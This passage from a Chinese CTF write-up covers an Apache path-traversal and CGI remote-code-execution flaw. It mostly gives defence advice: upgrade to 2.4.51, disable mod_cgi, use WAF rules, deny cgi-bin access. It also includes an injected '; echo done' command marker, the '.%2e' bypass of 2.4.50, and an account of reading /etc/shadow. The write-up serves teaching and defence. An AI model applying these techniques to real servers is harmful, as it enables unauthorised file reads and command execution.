是肯定存在的。如果怀疑是 CGI 执行超时,可以在命令后用; echo done标记,看能否收到 end 标识。4.3 修复后的版本怎么确认和防御如果你是自己维护的服务器,想确认是否修复,直接查版本号还不够,因为很多发行版会 backport 安全补丁而不改版本号。最可靠的办法是实际发一次探测请求,但注意要在授权范围内。防御层面,Apache 官方推荐升级到 2.4.51 及以上。同时,如果默认不需要 CGI,直接禁用mod_cgi,把ScriptAlias删除,就能堵死 RCE 的入口。还可以用 WAF 规则拦截包含%2e或..%的路径,但这属于治标。因为编码形式太多,WAF 规则很难穷尽。最彻底的修复是升级。如果无法立刻升级,可以临时把Require all denied应用到/usr/local/apache2/cgi-bin/目录,阻断外部访问,但这样会牺牲业务功能。生产环境里我见过一个真实案例:管理员以为升级到 2.4.50 就安全了,结果渗透测试用.%2e变种直接绕过去,拿到了/etc/shadow的读取权限。所以千万别只看到版本号带 50 就放松。升级后要重新跑一遍探测脚本,确认返回 400 或 403 才算完。5. 实战之外的一些心得这道 CTF 题给我的启发不是“背 payload”,而是理解解析流程中的信任边界。Apache 在处理 URL 时做了一次规范化,但文件系统、CGI 处理器可能会再做一次,导致“多次解码”的漏洞。类似的问题在 Nginx、Tomcat 里也出现过,原理其实都是对编码字符的处理不够统一。我在实际渗透测试中,发现很多开发人员对路径穿越的理解还停留在/../层面,不知道%2e和%2e%2e能绕过多层检测。所以写这篇文章时,我特意没有只贴一条 curl 命令,而是把从读文件到 RCE 的完整链路讲清楚。希望你在自己搭建的靶场里,用上面的脚本跑通一遍,会对“路径规范化”这个概念有更深的感受。另外一个小建议:CTF 里遇到 Apache 的题,第一步先看 Server 版本,第二步直接测编码穿越,第三步再考虑打别的点。很多题目就是拿旧版镜像改个 flag,这种“送分”路径一旦绕过,比堆漏洞组合更高效。但别只在 CTF 里用,搞清楚原理之后,如果哪天你接手了老旧 Apache 服务器,这套探测方法能帮你快速判断是否需要紧急升级。